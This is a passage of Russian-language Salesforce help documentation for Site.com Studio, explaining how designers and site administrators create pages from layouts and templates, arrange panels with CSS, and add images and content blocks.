панели на дочерних страницах или в дочернихшаблонах. Изменения панели на уровне дочернего элемента пропадают,
апанельотображает толькосодержимоеродительскогошаблона. Обратитевнимание, чтоизменениянауровнедочернего
элементасохраняются, нонеотображаются. Повторноевключениесвойствапанели «Для редактирования» вродительском
шаблоне восстанавливает настраиваемое содержимое, добавленное в дочерние элементы ранее.Любые изменения,
внесенные в элемент на уровне родителя, не будут отображаться.

СМ. ТАКЖЕ:

Создание редактируемых областей шаблона

Настройка представления Site.com Studio автора

Создание шаблонов страниц Site.com

Редактирование и работа с элементами страницы Site.com
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Создание страниц Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Страница сайта может быть создана администратором сайта или конструктором на
основешаблонастраницы. Присозданиинесколькихстраницсайта, содержащихобщие
элементы (например, меню навигации), пользователь может значительно сэкономить
свое время путем создания шаблона страницы, который в дальнейшем будет
использоваться в качестве основы для создания страниц сайта, гарантирующей его
единообразноеоформление. Еслиструктурастраницсайтанеповторяетсяилитребуется
создать отдельную страницу, оформление которой отличается от остальных страниц
сайта (например, начальную страницу), то страница может быть создана на основе
базового макета.

Создание страниц сайта на основе макета

Откройтеабсолютнопустуюстраницуиливоспользуйтесьбазовыммакетомстраницы.

1. Наведите указательмышинапредставление «Страницысайта»на вкладке «Общие
сведения» и нажмите кнопку «Создать» или откройте представление «Страницы
сайта» ищелкните «Создать» > «Страница сайта».

2. Введите имя страницы сайта. Имена страниц не могут содержать пробелы и
специальные символы (например, #, ? или @).

3. Щелкните «Макеты» и выберите пустую страницу или предопределенный макет
страницы (например, страницу с верхним и нижним колонтитулами).

Прим.: Предопределенные макеты страниц содержат панели, позволяющие
создавать столбцы, верхние и нижние колонтитулы. Для размещения панелей
используется встроенная таблица стилей, поэтому макет может быть легко
изменен даже после создания страницы. Чтобы удалить встроенный стиль
посредствомправил CSS, выберитепанель, удалите кодна вкладке «Код» панели

«Стиль» ( ) и нажмите кнопку «Применить».

4. Выберите режим макета.

• Чтобы страница отображалась по ширине окна обозревателя, щелкните «По
всейширине».

• Чтобызадатьнужнуюширинустраницы, щелкните«Фиксированнаяширина»иукажитенеобходимоезначение.

5. Нажмите кнопку «Создать». При этом откроется страница сайта.

Создание страниц сайта на основе шаблона страницы

Шаблон страницы может использоваться для создания страниц сайта.

Ниже указан самый быстрый способ.

1. Выберитенужныйшаблонвпредставлении «Шаблоныстраницы» ищелкните  > «Создатьстраницунаоснове
шаблона». Еслишаблон открыт, щелкните «Действия со страницей» > «Создать страницунаосновешаблона».

2. Введите имя страницы сайта. Имена страниц не могут содержать пробелы и специальные символы (например, #, ?
или @).

3. Нажмите кнопку «Создать». При этом откроется страница сайта.

Также доступны указанные ниже действия.
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1. Наведите указатель мыши на представление «Страницы сайта» на вкладке «Общие сведения» и нажмите кнопку
«Создать» или откройте представление «Страницы сайта» ищелкните «Создать» > «Страница сайта».

2. Введите имя страницы сайта. Имена страниц не могут содержать пробелы и специальные символы (например, #, ?
или @).

3. Щелкните «Шаблоны страницы» и выберите нужныйшаблон.

4. Нажмите кнопку «Создать». При этом откроется страница сайта.

Совет: Кроме того, страницы могут быть созданы путем преобразования или клонирования других страниц.

СМ. ТАКЖЕ:

Редактирование страниц Site.com в качестве конструктора или администратора сайта

Добавление элементов страницы Site.com

Определение шаблона, используемого на странице Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

При редактировании страницы, созданной на основе шаблона, пользователи могут
изменять только те элементы страницы, которые доступны для редактирования. Кроме
того, пользователи не могут удалять и изменять размер или место отображения
редактируемыхэлементовстраницы, а такженемогутизменятьсвязанныеснимисобытия,
свойстваистили. Чтобыобновить этиэлементыилисвойства, необходимоиспользовать
шаблон, на основе которого была создана данная страница.

Чтобыопределитьшаблон, которыйиспользовался для создания страницы, выполните
указанные ниже действия.

• Наведите указатель мыши на нужную страницу сайта в представлении «Страницы
сайта» навкладке «Общиесведения». Приэтомотображаетсяинформационноеокно,
содержащее имя шаблона страницы.

• Если страница открыта, просмотрите панель «Структура страницы». Имяшаблона
отображается в виде ссылки, при выборе которой открывается сам шаблон.

Совет: Чтобы просмотреть и открыть страницы сайта, связанные с отдельным
шаблоном, выберите или наведите указатель мыши на нужныйшаблон в
представлении «Шаблоны страницы» на вкладке «Общие сведения», а затем
щелкните  > «Редактироватьстраницынаосновешаблона». Чтобыоткрыть
страницу сайта, выберите нужную страницу из списка.

СМ. ТАКЖЕ:

Создание шаблонов страниц Site.com

Общие сведения о шаблонах страницы Site.com
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Переименование, дублирование и преобразование страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Пользователям, работающимсостраницамиишаблонами, доступнытиповыедействия
(например, переименование, удаление или дублирование страниц).

Чтобы воспользоваться дополнительными действиями над страницами, выберите или
наведите указатель мыши на нужную страницу в представлении «Страницы сайта» на
вкладке «Общие сведения», а затем щелкните значок .

Чтобы воспользоваться дополнительными действиями над шаблонами, выберите или
наведите указатель мыши на нужныйшаблон в представлении «Шаблоны страницы»
на вкладке «Общие сведения», а затем щелкните значок .

Еслиоткрытшаблонилистраница, щелкнитезначок напанелиинструментов.

Ниже перечислены действия, доступные при работе со страницами ишаблонами.

ДействиеПараметр

Открытиестраницыилишаблонадляредактирования. Также
можете дваждыщелкнуть нужную страницу или шаблон.

Правка

Изменение имени страницы илишаблона.Переименовать

Просмотр страницы в окне обозревателя.Предварительный
просмотр

Создание копии страницы илишаблона.

Дублирование шаблона страницы не инициирует
дублирование производных страниц илишаблонов.

Дублировать

Удаление страницы илишаблона. Шаблон, на основе
которого созданы страницы, не может быть удален.

Удалить

Созданиедочернегошаблонанаосновевыбранногошаблона.Создать дочерний
шаблон

Создание страницы на основе шаблона.Создать страницу на
основешаблона

Преобразование страницы в шаблон.Преобразовать
страницу сайта в
шаблон

Преобразование шаблона в страницу. Шаблон, на основе
которого созданы страницы, не может быть преобразован.

Преобразовать
шаблон в страницу
сайта

Просмотр и открытие страниц сайта, созданных на основе
выбранного шаблона страницы.

Редактировать
страницы на основе
шаблона

Управление доступом к странице или шаблону путем
ограничения диапазона разрешенных IP-адресов. Страница,

Добавить
ограничения
IP-адресов
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ДействиеПараметр

созданная на основе шаблона с ограничениями IP-адресов, наследует данные
ограничения IP-адресов.

СМ. ТАКЖЕ:

Редактирование страниц Site.com в качестве конструктора или администратора сайта

Использование Site.com Studio в качестве администратора сайта или конструктора

Изменение свойства страницы Doctype

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Определение типа документа (DTD) или doctype страницы определяет используемую
версию HTML. Даннаяинформацияпозволяетнекоторымобозревателяминициировать
стандартный режим визуализации. При необходимости значение HTML5, заданное
свойству doctype каждой страницы по умолчанию, может быть заменено значением
XHTML 1.0.

Ниже перечислены действия, доступные на открытой странице.

1. Выберите страницу на панели «Структура страницы».

2. Выберите пункт раскрывающегося списка «Doctype» на панели «Свойства».

СМ. ТАКЖЕ:

Изменение HTML-тега элемента страницы

Добавление настраиваемых HTML-атрибутов

Семантические теги макета страницы HTML5
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Добавление функций и элементов страницы

Элементы страницы Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Элементы страницы — это блоки, используемые для компоновки страниц сайта и
шаблонов страницы.Совокупность этих элементов составляет структуру и содержимое
страницы.

Ниже перечислены элементы страницы, доступные администраторам сайта и
конструкторам при просмотре страницы сайта илишаблона страницы в среде Site.com
Studio.

ОписаниеЭлемент страницы

Размещение текста страницы (также
возможно размещение изображений,
гиперссылок и мультимедиа). Также
доступно авторам при наличии
редактируемых областей страницы.

Блок содержимого

Настройка сайта путем добавления
разметки (например, HTML и JavaScript) для

Настраиваемый код

элементов, отсутствующихв среде Site.com
Studio.

Добавление изображений прямо на
страницу.

Изображение

Добавление иерархической навигации на
страницу.

Путь

Создание меню, позволяющего
пользователям перемещаться по
страницам сайта.

Меню

Структурирование страницы и
группирование других элементов
страницы.

Панель

Добавление кнопки на страницу. Чтобы
добавитьфункциикнопки, воспользуйтесь
действиями на панели «События».

Кнопка

Создание форм Web-to-Lead или сбор
отзывов клиентов и отправка данных в
объекты Salesforce.

Форма

Различные типы полей для добавления в
формы или на страницы. Поля ввода,

Поля ввода

добавленные в форму, соотносятся с
полями в объекте формы. См. раздел
«Типы полей ввода» на странице 5233.
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ОписаниеЭлемент страницы

Элемент данных должен храниться в повторителе данных.
Связывание с полем в объекте повторителя данных и

Элемент данных

использование в качестве структурного нуля,
отображающего содержимое заданного поля для текущей
записи.

Связывание со стандартнымилинастраиваемымобъектом
Salesforce, выполнение расчетов по возвращенным
результатам и отображение расчетов на странице.

Функция обработки данных

Связывание с объектом Salesforce и отображение наборов
данных на основе заданных фильтров. Повторители

Повторитель данных

данных, используемыесовместнос элементамиданныхили
настраиваемым кодом, позволяют отображать результаты
на страницах.

Связывание со стандартнымилинастраиваемымобъектом
Salesforce, извлечение наборов данных на основе заданных

Таблица данных

критериевфильтрациииотображениезаписейввидестрок
таблицы.

СМ. ТАКЖЕ:

Добавление элементов страницы Site.com

Редактирование и работа с элементами страницы Site.com
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Добавление элементов страницы Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Элементы страницы — это блоки, используемые для компоновки страниц сайта и
шаблоновстраницы. Структурастраницсайтаопределяетсяпутемдобавленияэлементов
панели. Страницы и панели представляют собой контейнеры для добавляемых в них
элементов.

Еслистраница сайтаилишаблонстраницыосновываетсяна другомшаблоне страницы,
то элементыстраницымогутбыть добавленытольконаредактируемыепанели, которые
выделены на странице синей рамкой.

Страницы, панели, повторителиданныхиформыотносятсяк элементамстраницытипа
«контейнер», следовательно, могут содержать другие элементы страницы, которые
добавляются при открытой странице.

• На панели «Элементы страницы» ( ):

– перетащитенужныйэлементстраницынахолстстраницыиливэлементстраницы
типа «контейнер»;

– щелкните нужный элемент страницы, выберите место его размещения во
всплывающем окне и нажмите кнопку «Применить».

• Напанели «Структура страницы» ( ) наведите указательмышинанужныйэлемент
страницы типа «контейнер» ищелкните  > «Добавить элементы страницы».
Чтобы добавить элемент, щелкните нужный элемент или перетащите его в элемент
страницы типа «контейнер».

• Выберите элемент страницы типа «контейнер» ищелкните  > «Добавить
элементы страницы». Чтобы добавить элемент, щелкните нужный элемент или
перетащите его в элемент страницы типа «контейнер».

Приперетаскиванииэлементастраницынаредактируемуюпанельотображаютсязначок
разрешения и зеленая рамка, определяющая место размещения элемента.

При перетаскивании элемента страницы на панель, недоступную для редактирования, отображается значок запрета.

СМ. ТАКЖЕ:

Редактирование и работа с элементами страницы Site.com

Добавление изображений прямо на страницу

Добавление блоков содержимого на страницы

Добавление настраиваемого кода на страницы

Добавление меню навигации
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Редактирование и работа с элементами страницы Site.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Панель «Структура страницы» ( ) отображает иерархиювсех элементовна странице,
а также позволяет выбирать, перемещать и изменять порядок отображения элементов,
благодаря чему значительно упрощается процесс оформления любых страниц.

• Чтобы выбрать элемент страницы, щелкните нужный элемент на странице или
выберитеегонапанели «Структурастраницы». Приэтом, помимовыделенияэлемента,
на странице отображаются панель выбора элемента и меню «Действия» ( ).

• Чтобыизменить элемент страницы (например, блок содержимого, изображениеили
настраиваемый код), выполните одно из указанных ниже действий.

– Дваждыщелкните нужный элемент на странице.

– Выберите нужный элемент на странице ищелкните  > «Правка» на панели
выбора.

– Выберитеилинаведитеуказательмышинанужныйэлементнапанели «Структура
страницы» ищелкните  > «Правка».

– Щелкните «Редактировать содержимое» на панели инструментов (только для
блоков содержимого).

• Чтобыпереместить элементстраницы, выполнитеодноиз указанныхнижедействий.

– Выберите элемент на странице и перетащите его в нужное место или щелкните
 > «Переместить» на панели выбора.

– Перетащите элемент в нужную область на панели «Структура страницы» или
выберите элемент и щелкните  > «Переместить» > Направление. Панель
«Структурастраницы» позволяетперетаскиватьлюбыеэлементыстраницы, кроме
панелей.

• Чтобыизменитьразмерэлементастраницы, выберитенужныйэлементиперетащите
манипулятор размера. Если угловой манипулятор размера отображается серым
цветом, следовательно, включенафункция автоматическогоподбора высоты, то есть
высота элемента определяется размером его содержимого. Чтобы высота элемента
оставаласьнеизменной, даннаяфункциядолжнабытьотключена. Для этого снимите

флажок «Автоматический подбор высоты» на панели «Свойства» ( ) или
выберите один из нижних манипуляторов размера ищелкните «Отключить автоматическийподбор высоты» во
всплывающем сообщении.

Совет: Чтобы сохранить пропорции (отношение высоты к ширине) изображения, для которого отключено
свойство «Автоматический подбор высоты», нажмите клавишу SHIFT и перетащите границы изображения.

При использовании таблицы стилей для оформления элемента страницы настройте стиль класса или укажите
соответствующий код.

• Чтобы удалить элемент, выберите нужный элемент и выполните одно из указанных ниже действий.

– Щелкните  > «Удалить» на панели выбора элемента.

– Нажмите кнопку «УДАЛИТЬ».

–
Щелкните значок на панели инструментов.

– Щелкните  > «Удалить» на панели «Структура страницы».
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Ниже перечислены особенности, существующие в том случае, если страница сайта или шаблон страницы созданы на
основе другого шаблона.

• Содержимоевсехредактируемыхэлементовдочернейстраницыилишаблонасвязываетсяссодержимымредактируемых
элементов родительского шаблона страницы. Обновление содержимого редактируемого элемента страницы в
родительскомшаблонеинициируетизменениелюбыхдочернихстраницилишаблоновстраниц. Однако, изменения,
внесенные в содержимое редактируемого элемента страницына уровне дочерней страницыилишаблона, нарушают
установленнуюсвязь, поэтому все последующиеизменения, внесенные в элемент страницыродительскогошаблона,
не отображаются на дочерних страницах или в дочерних шаблонах.

• Элементы страницы не поддерживают изменение положения или размера. Однако, высота элемента, который в
шаблоне помечен свойством «Автоматический подбор высоты», определяется содержимымпроизводной страницы.
Редактирование такого элемента страницы доступно только в шаблоне страницы.

• Элементыстраницынемогутбытьудалены. Удалениетакогоэлементастраницыдоступнотольковшаблонестраницы.

• События, свойства и стиль редактируемого элемента страницы (например, цвет, положение и размер) не могут быть
изменены.

СМ. ТАКЖЕ:

Элементы страницы Site.com

Добавление элементов страницы Site.com

Добавление блоков содержимого на страницы

Создание макетов страниц Site.com с помощью панелей

Общие сведения о редактируемых элементах страницы
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Работа с панелями

Создание макетов страниц Site.com с помощью панелей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Панель — этоэффективноесредствосозданиямакетов, котороеопределяетлогические
разделы страницы и позволяет группировать элементы страницы для более удобного
перемещения и расположения. Панель может рассматриваться в качестве контейнера
для хранения других элементов страницы (в том числе других панелей) или в качестве
тегов div, между которыми размещается содержимое. Панели идеально подходят для
добавления редактируемых областей в шаблоны страниц.

Присозданиишаблонастраницыилистраницысайтапользователимогутиспользовать
предопределенные макеты страниц, содержащие столбцы, верхние и нижние
колонтитулы, созданные с помощью панелей. Созданные макеты поддерживают
возможность дальнейшего изменения в соответствии с дизайном сайта.

Чтобыдобавитьна страницудополнительныеразделы, воспользуйтесь таблицейстилей
или панелями строк и столбцов. При использовании последних панели добавляются
на страницу в строгом соответствии с предварительно заданными параметрами
размещения таблицы стилей.

Прим.: Для определения расположения предопределенных макетов страниц и
панелей строк и столбцов используется встроенная таблица стилей. Чтобы
оформить сайт посредством правил CSS, удалите встроенную таблицу стилей на

вкладке «Код» панели «Стиль» ( ) и нажмите кнопку «Применить».

Чтобы добавить панели строк и столбцов на страницу, выполните указанные ниже
действия.

1. Выберитенужнуюстраницу (верхнийзначокпапки) напанели «Структурастраницы»

( ).

2. Щелкните  > «Добавить панели строк и столбцов».

3. Укажите необходимое количество панелей строк или столбцов. Содержимое,
доступное на странице, помещается в первую новую панель.

Чтобы добавить панель строк, выполните указанные ниже действия.

• Чтобы добавить панель строк над текущей панелью, выберите нужную панель на
странице илина панели «Структура страницы», а затемщелкните  > «Добавить
панели строк и столбцов» > «Вставить строку выше».

• Чтобы добавить панель строк под текущуюпанель, выберите нужную панель на странице или на панели «Структура
страницы», а затем щелкните  > «Добавить панели строк и столбцов» > «Вставить строку ниже».

Чтобы добавить панели строк и столбцов на другую панель, выполните указанные ниже действия.

1. Выберите нужную панель на странице или на панели «Структура страницы».

2. Щелкните  > «Добавить панели строк и столбцов».

3. Укажите необходимое количество панелей строк или столбцов. Содержимое, доступное на странице, помещается в
первую новую панель.

Чтобы добавить отдельную панель, перетащите элемент «Панель» с панели «Элементы страницы» ( ) на страницу.
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Поумолчаниювысотапанели, вкоторуюдобавляетсясодержимое, регулируетсяавтоматически, так как включенафункция
автоматического подбора высоты. Функция изменения положения и размера панелей может быть отключена. При
наведенииуказателямышинапанельотображается всплывающееинформационноеокно, содержащееширинуивысоту
панели.

Приперетаскивании элемента страницына панель изменяется цвет его контура, указывающийна то, что теперь элемент
является частью группы. Чтобы удалить элемент из группы, перетащите его за пределы панели.

СМ. ТАКЖЕ:

Добавление элементов страницы Site.com

Размещение панелей с помощью таблицы стилей

Изменение HTML-тега элемента страницы
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Размещение панелей с помощью таблицы стилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Панель — это эффективный инструмент создания макетов, который определяет
логические разделы страницы. С помощью таблицы стилей пользователи могут
размещать панели и корректировать макеты страниц.

Добавление отступов и полей на панели

Благодаря двум свойствам таблицы стилей (поля и отступы), макет страницы может
содержать промежутки между строками и столбцами, а также между их содержимым.
Поля определяют промежутки за пределами панели (между ее контуром и внешним
краем), тогда как отступы определяют промежутки между содержимым панели и ее
контуром.

Чтобы добавить поля и отступы, выполните указанные ниже действия.

1. Выберите панель.

2. Откройте раздел «Размеры» на панели «Стиль».

3. В разделе «Размеры» выполните одно из указанных ниже действий.

• Чтобы задатьширину всех четырехполей, введите нужное значение в текстовую
область «Все» и выберите единицу измерения.

• Чтобызадатьширинутольковерхнего, нижнего, правогоилилевогополя, введите
значениев соответствующуютекстовуюобластьивыберите единицуизмерения.

4. Чтобы задать ширину отступа, повторите указанные выше действия в разделе
«Отступы». Придобавленииотступаувеличиваетсяобщаяширинапанели. Например,
в результате добавления отступов шириною 20 пикселов со всех сторон панели
шириною 500 пикселов, общая ширина панели будет составлять 540 пикселов.

Совет: Кроме того, спомощьюполейэлемент страниц «панель» или «блок» может
быть размещен строго по центру. Введите значение «0» в текстовую область
«Все» и выберите значение «Авто» в раскрывающемся списке.

Создание панелей столбцов с помощью свойства «Плавать»

Чтобыдобавитьнастраницудополнительныеразделы, воспользуйтесьтаблицейстилейилипанелямистрокистолбцов.
Также можете воспользоваться свойством таблицы стилей «плавать», благодаря которому панели столбцов могут быть
размещены слева или справа. (Панели, добавляемые с помощьюпанелей строк и столбцов, автоматически размещаются
спомощьюсвойства «плавать».) Например, напанельконтейнерамогутбытьдобавленыдвеотдельныепанели, в свойствах
«ширина» и «плавать» которых задано создание двухстолбцового макета страницы.

Чтобы создать панель столбцов, выполните указанные ниже действия.

1. Выберите панель.

2. Откройте раздел «Макет» на панели «Стиль».

3.
Чтобысдвинутьпанель влево, щелкните значок . Чтобысдвинутьпанель вправо, щелкните значок . При
создании двухстолбцового макета убедитесь, что свойство «плавать» задано для обеих панелей.

4. Чтобы настроить ширину панели, задайте нужнуюширину в разделе «Размеры» или перетащите контур панели на
страницу. Например, при создании двух столбцов равнойширины, задайте ширине обеих панелей значение «50%».
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Совет: При использовании свойства «плавать» выберите значение «скрыто» для свойства панели контейнера
«переполнение». Вэтомслучаепанельконтейнерабудет увеличиватьсяпомере увеличениявысотыпанелистолбцов.
Выберите нужную панель контейнера, а затем выберите значение «Скрыто» в раскрывающемся списке
«Переполнение», который отображается в разделе «Макет» на панели «Стиль».

СМ. ТАКЖЕ:

Общие сведения о каскадных таблицах стилей

Создание макетов страниц Site.com с помощью панелей

Добавление изображений прямо на страницу

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Администраторысайтаиконструкторымогутдобавлятьизображенияпрямонастраницы
сайта и в шаблоны страниц, либо добавлять изображения в блоки содержимого.

Чтобыдобавить изображениепрямона страницу, выполните указанныениже действия.

1. Откройте страницу сайта или шаблон страницы.

2. Перетащите элемент «Изображение» с панели «Элементы страницы» на страницу.

3. В диалоговом окне «Добавить изображение» выполните одно из указанных ниже
действий.

• Чтобы найти готовое изображение, введите его имя в текстовое поле «Поиск
изображения» и выберите нужное изображение из списка.

• Чтобы загрузить изображение со своего компьютера, откройте вкладку
«Загрузить», найдите нужное изображение и нажмите кнопку «Загрузить», а
затем выберите нужное изображение из списка.

4. Нажмите кнопку «Применить». Изображение будет добавлено на страницу.

5. Введите краткое описание изображения в поле «Альтернативный текст» на панели
«Свойства». Данное описание используется программами для чтения экрана или
отображаетсявзаменизображения, котороенеподдерживаетсяобозревателем. Кроме
того, данное описание позволяет оптимизировать механизм поиска.

СМ. ТАКЖЕ:

Добавление элементов страницы Site.com

Редактирование и работа с элементами страницы Site.com
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Работа с блоками содержимого

Добавление блоков содержимого на страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

В блоках содержимого хранится текст со страниц веб-сайта, а также изображения,
видеофайлы и гиперссылки. Конструкторы и администраторы сайта могут добавлять
блоки содержимого на страницы в режиме конструктора.

Чтобы добавить блок содержимого на открытую страницу, перетащите его с панели
«Элементы страницы» на страницу или выберите элемент страницы в контейнере.

Чтобы изменить блок содержимого, дваждыщелкните нужный блок. Чтобы напрямую
изменить HTML, выберитенужныйблоксодержимогоищелкните  > «Редактировать
HTML».

Авторы могут редактировать блоки содержимого, являющиеся редактируемыми в
шаблоне страницы, на любых страницах на основе шаблона. Чтобы добавить блок
содержимого, которыйможетредактироваться толькодругимиадминистраторамисайта
или конструкторами, рекомендуем воспользоваться настраиваемым кодом.

СМ. ТАКЖЕ:

Добавление изображений в блоки содержимого в режиме конструктора

Добавление гиперссылок на текст и изображения в режиме конструктора
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Общие сведения о панели редактирования содержимого

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Конструкторы и администраторы сайта могут редактировать блоки содержимого в
режиме конструктора. Блоки содержимого хранят текст страницы сайта, а также
изображения, видеофайлы и гиперссылки.

Ниже перечислены действия, доступные на панели редактирования содержимого в режиме конструктора.

• Отмена и повтор внесенных изменений, а также отмена форматирования текста, скопированного и вставленного из
Microsoft® Office, который также может содержать скрытое форматирование (1).

• Вырезание, копирование и вставка текста (2).

• Применение прямого форматирования (3), например:

– Семейство шрифтов и размер шрифта

– Жирныйшрифт, курсив, подчеркивание, перечеркивание, нижний индекс, верхний индекс

– Цвет шрифта и выделения

• Определение стиля текста и разметки (4) с помощью:

– применения параграфов и заголовков;

– настройки отступов в параграфах;

– выравнивания по центру, левому краю, правому краю или по ширине;

– вставки пронумерованных или маркированных списков.

• Вставка таблицы, а также добавление строк, столбцов и промежутков (5).

• Добавление изображений, видеофайлов и специальных символов (6).

• Добавление и удаление гиперссылок и привязок (7).

Совет: Рекомендуем как можно реже применять прямое форматирование текста (например, разные шрифты или
выделение). Чтобы быстро отформатировать весь сайт в едином стиле, рекомендуем использовать параграфы и
заголовки. Изменение администратором сайта или конструктором параграфа и заголовка сайта инициирует
автоматическое обновление всего текста страницы.
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Редактирование блоков содержимого в режиме конструктора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Конструкторы и администраторы сайта могут редактировать блоки содержимого на
странице. Блоки содержимого хранят текст для страниц сайта, а также изображения,
видеофайлы и гиперссылки.

Ниже перечислены действия, доступные на открытой странице в режиме конструктора.

1. Дваждыщелкните нужный блок содержимого на странице.

2. Добавьте или измените текст, а затем выполните его форматирование посредством
панели редактирования содержимого.

Совет:

• В случае копирования и вставки текста из Microsoft® Office, выделите текст и

щелкните значок , чтобы удалить любое скрытое форматирование,
которое может отрицательно повлиять на способ отображения текста на
странице.

• Рекомендуем как можно реже применять прямое форматирование текста
(например, разные шрифты или выделение). Чтобы быстро
отформатировать весь сайт в едином стиле, рекомендуем использовать
параграфы и заголовки. Изменение администратором сайта или
конструктором параграфа и заголовка сайта инициирует автоматическое
обновление всего текста страницы.

3. Принеобходимостидобавьтеизображения, видеофайлы, гиперссылкиилипривязки.

4. Нажмите кнопку «Сохранить».

Прим.: Содержимое всех редактируемых элементов дочерней страницы или
шаблона связывается с содержимым редактируемых элементов родительского
шаблонастраницы. Обновлениесодержимогоредактируемогоэлемента страницы
в родительскомшаблоне инициирует изменение любых дочерних страниц или
шаблонов страниц. Однако, изменения, внесенные в содержимое редактируемого
элемента страницы на уровне дочерней страницы илишаблона, нарушают
установленную связь, поэтому все последующие изменения, внесенные в элемент
страницы родительского шаблона, не отображаются на дочерних страницах или
в дочерних шаблонах.
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Добавление изображений в блоки содержимого в режиме конструктора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Конструкторы и администраторы сайта могут добавлять изображения в блоки
содержимого при просмотре страницы в режиме конструктора.

Ниже перечислены действия, доступные на открытой странице.

